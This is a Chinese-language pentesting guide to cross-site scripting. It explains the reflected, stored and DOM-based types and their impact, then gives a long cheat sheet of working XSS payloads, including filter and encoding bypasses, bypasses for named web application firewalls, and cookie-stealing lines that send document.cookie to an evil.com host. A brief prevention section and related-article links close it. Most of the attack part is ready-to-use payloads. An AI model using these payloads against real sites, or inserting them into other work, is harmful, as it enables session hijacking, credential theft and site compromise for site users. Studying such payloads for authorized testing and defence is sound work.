渗透测试者的跨站脚本(XSS)指南
什么是跨站脚本?
跨站脚本 (XSS) 攻击是一种注入,其中恶意脚本被注入到其他良性和受信任的网站中。 当攻击者使用 Web 应用程序将恶意代码(通常以浏览器端脚本的形式)发送给不同的终端用户时,就会发生 XSS 攻击。 允许这些攻击成功的漏洞非常普遍,并且可能发生在 Web 应用程序在其生成的输出中使用来自用户的输入而无需对其进行验证或编码的任何地方。
攻击者可以使用 XSS 向毫无戒心的用户发送恶意脚本。 最终用户的浏览器无法知道该脚本不应该被信任并会执行该脚本。 因为它认为脚本来自受信任的来源,所以恶意脚本可以访问浏览器保留并与该站点一起使用的任何 cookie、会话令牌或其他敏感信息。 这些脚本甚至可以重写 HTML 页面的内容。
XSS 攻击有 3 种类型:
- 反射型 XSS
- 存储型 XSS
- 基于 DOM 的 XSS
反射式攻击 是指注入的脚本从 Web 服务器反射出来的攻击,例如在错误消息、搜索结果或任何其他响应中,其中包括作为请求的一部分发送到服务器的部分或全部输入。反射攻击通过其他途径传递给受害者,例如在电子邮件消息中或在其他网站上。当用户被诱骗点击恶意链接、提交特制表单,甚至只是浏览恶意网站时,注入的代码就会传播到易受攻击的网站,从而将攻击反射回用户的浏览器。然后浏览器执行代码,因为它来自“受信任的”服务器。反射型 XSS 有时也称为非持久性或 II 型 XSS。
存储攻击 是将注入的脚本永久存储在目标服务器上,例如数据库、消息论坛、访问者日志、评论字段等。然后受害者在请求存储信息时从服务器检索恶意脚本。存储型 XSS 有时也称为 Persistent 或 Type-I XSS。
基于 DOM 的 XSS(在某些文本中也称为“type-0 XSS”)是一种 XSS 攻击,其中攻击载荷是通过修改受害者浏览器中原始客户端脚本使用的 DOM“环境”而执行的以便客户端代码以“意外”的方式运行。也就是说,页面本身(即 HTTP 响应)没有改变,但页面中包含的客户端代码由于 DOM 环境中发生的恶意修改而执行不同。
另一种类型的 XSS,称为 Self-XSS,通常影响较小,并且在没有用户交互的情况下无法被利用。它通过诱骗用户将恶意内容复制并粘贴到浏览器的 Web 开发人员控制台中来进行操作。
XSS 的影响是什么?
利用跨站点脚本漏洞的攻击者通常能够:
- 冒充或伪装成受害者用户
- 劫持用户会话
- 进行未经授权的活动
- 窃取敏感信息
- 执行网络钓鱼攻击
- 捕获用户的登录凭据。
- 捕获击键
- 破坏网站。
- 将木马功能注入网站。
如何利用 XSS?
在利用 XSS 漏洞时,应该了解应用程序对特定负载的行为。 在利用 XSS 漏洞之前,可以考虑以下清单:
-
查找列入黑名单/过滤的字符。 我们可以为此使用 XSS 定位器:
'';! - "<XSS>=&{()}
- 观察 WAF 阻止了哪些标签以及允许哪些关键字(iframe、img、body 等)
- 尝试字符编码(URL 编码、双 URL 编码、UTF-8 Unicode 编码、Long UTF-8 Unicode 编码、十六进制编码等)
- 尝试使用 HTML 引用封装的 XSS
- 尝试 URL 字符串规避
- 根据允许的关键字创建有效负载列表
- 使用我们刚刚创建的 XSS 有效负载列表暴力破解应用程序
注意
:可以尝试双 URL 编码,因为第一个解码过程是由 HTTP 协议执行的,因此编码后的 URL 将绕过 XSS 过滤器。
备忘录
XSS 定位器:
'';!--"<XSS>=&{()}
经典有效载荷:
<svg onload=alert(1)>
"><svg onload=alert(1)>
<iframe src="javascript:alert(1)">
"><script src=data:,alert(1)//
绕过脚本标签过滤器:
<svg/onload=alert(1)>
<script>alert(1)</script>
<script >alert(1)</script>
<ScRipT>alert(1)</sCriPt>
<%00script>alert(1)</script>
<script>al%00ert(1)</script>
HTML 标签
<img/src=x a='' onerror=alert(1)>
<IMG """><SCRIPT>alert(1)</SCRIPT>">
<img src=`x`onerror=alert(1)>
<img src='/' onerror='alert("kalisa")'>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<SCRIPT SRC=http:/vulonmpw.com/xss.js?< B >
"><XSS<test accesskey=x onclick=alert(1)//test
<svg><discard onbegin=alert(1)>
<script>image = new Image(); image.src="https://evil.com/?c="+document.cookie;</script>
<script>image = new Image(); image.src="http://"+document.cookie+"evil.com/";</script>
其他标签
<BASE HREF="javascript:alert('XSS');//">
<DIV STYLE="width: expression(alert('XSS'));">
<TABLE BACKGROUND="javascript:alert('XSS')">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<xss onclick="alert(1)">test</xss>
<xss onmousedown="alert(1)">test</xss>
<body onresize=alert(1)>”onload=this.style.width=‘100px’>
<xss id=x onfocus=alert(document.cookie)tabindex=1>#x’;</script>
字符代码
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
如果输入已经在脚本标签中:
@domain.com">user+'-alert`1`-'@domain.com
AngularJS:
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{{}.")));alert(1)//"}}
{{{}.")));alert(1)//"}}
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)
无脚本
<link rel=icon href="//evil?
<iframe src="//evil?
<iframe src="//evil?
<input type=hidden type=image src="//evil?
不闭合的标签
<svg onload=alert(1)//
DOM XSS
“><svg onload=alert(1)>
<img src=1 onerror=alert(1)>
javascript:alert(document.cookie)
\“-alert(1)}//
<><img src=1 onerror=alert(1)>
其他用例
param=abc`;return+false});});alert`xss`;</script>
abc`; Finish the string
return+false}); Finish the jQuery click function
}); Finish the jQuery ready function
alert`xss`; Here we can execute our code
</script> This closes the script tag to prevent JavaScript parsing errors
绕过限制
括号
<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>
括号和没有分号:
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>
没有括号和空白
<script>Function`X${document.location.hash.substr`1`}```</script>
尖括号 HTML 编码(在属性中):
“onmouseover=“alert(1)
‘-alert(1)-’
如果引号被转义:
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//
嵌入制表符、换行符、回车分解 XSS:
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
其他
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)
编码
Unicode:
<script>\u0061lert(1)</script>
<script>\u{61}lert(1)</script>
<script>\u{0000000061}lert(1)</script>
Hex:
<script>eval('\x61lert(1)')</script>
HTML:
<svg><script>alert(1)</script></svg>
<svg><script>alert(1)</script></svg>
<svg><script>alert
(1)</script></svg>
<svg><script>x="",alert(1)//";</script></svg>
\’-alert(1)//
URL:
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
双 URL 编码
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
Unicode + HTML:
<svg><script>\u0061\u006c\u0065\u0072\u0074(1)</script></svg>
HTML + URL:
<iframe src="javascript:'%3Cscript%3Ealert(1)%3C%2Fscript%3E'"></iframe>
绕过 WAF
Imperva Incapsula:
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
<img/src="x"/onerror="[JS-F**K Payload]">
<iframe/onload='this["src"]="javas	cript:al"+"ert``"';><img/src=q onerror='new Function`al\ert\`1\``'>
WebKnight:
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
Big IP:
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="[JS-F**k Payload]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
Barracuda WAF:
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
PHP-IDS:
<svg+onload=+"[DATA]"
<svg+onload=+"aler%25%37%34(1)"
Mod-Security:
<a href="j[785 bytes of (
	)]avascript:alert(1);">XSS</a>
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
快速防御:
<input type="search" onsearch="aler\u0074(1)">
<details ontoggle="aler\u0074(1)">
Sucuri WAF:
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
如何预防?
根据模式或正则表达式进行过滤,并确定系统接受和不接受的数据类型。
- 使用安全框架,通过设计自动对内容进行编码以防止 XSS。 将不可靠的 HTTP 需求数据编码到 HTML 输出字段(正文、属性、JavaScript、CSS 或 URL)中可解决反射型 XSS 和存储型 XSS。
- 清理所有数据输入,避免任何类型的特殊字符。
- 接受所有类型的数据,但要正确转义它们。
- 接受所有类型的数据,但删除不适当的内容。
- 接受所有类型的数据,但将它们转换为可接受的数据类型。
相关文章
WordPress 4.1.2 及以下版本存储型 XSS 漏洞
发布时间:2023/01/06 浏览次数:87 分类:学无止境
-
WordPress 4.1.2 于 2015 年 4 月 21 日可用。WordPress 4.1.1 及更早版本受到严重的跨站点脚本漏洞的影响,该漏洞可能使匿名用户破坏站点(WP 博客)。 简介:MySQL严格模式 去年年初,我正在阅
渗透测试者的命令注入指南
发布时间:2022/10/12 浏览次数:279 分类:网络
-
命令注入是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。 当应用程序将不安全的用户提供的数据(表单、cookie、HTTP 标头等)传递到系统 shell 时,这些